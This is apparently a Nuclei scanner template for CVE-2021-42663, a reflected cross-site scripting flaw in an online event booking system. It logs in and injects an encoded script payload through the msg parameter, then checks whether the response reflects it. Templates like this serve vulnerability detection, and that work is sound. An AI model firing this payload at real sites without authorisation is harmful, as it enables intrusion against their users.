nuclei-templates/cves/2021/CVE-2021-42663.yaml

56 lines
1.7 KiB
YAML

id: CVE-2021-42663
info:
name: Sourcecodester Online Event Booking and Reservation System 2.3.0 - Cross-Site Scripting
author: fxploit
severity: medium
description: |
Sourcecodester Online Event Booking and Reservation System 2.3.0 contains a cross-site scripting vulnerability in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link, the content of the HTML code of the attacker's choice displays.
reference:
- https://github.com/0xDeku/CVE-2021-42663
- https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
- https://github.com/TheHackingRabbi/CVE-2021-42663
- https://nvd.nist.gov/vuln/detail/CVE-2021-42663
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2021-42663
cwe-id: CWE-79
metadata:
verified: "true"
tags: cve,cve2021,xss
requests:
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
name={{username}}&pwd={{password}}
- |
GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</i><script>alert(document.domain)</script></div>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# Enhanced by md on 2022/09/08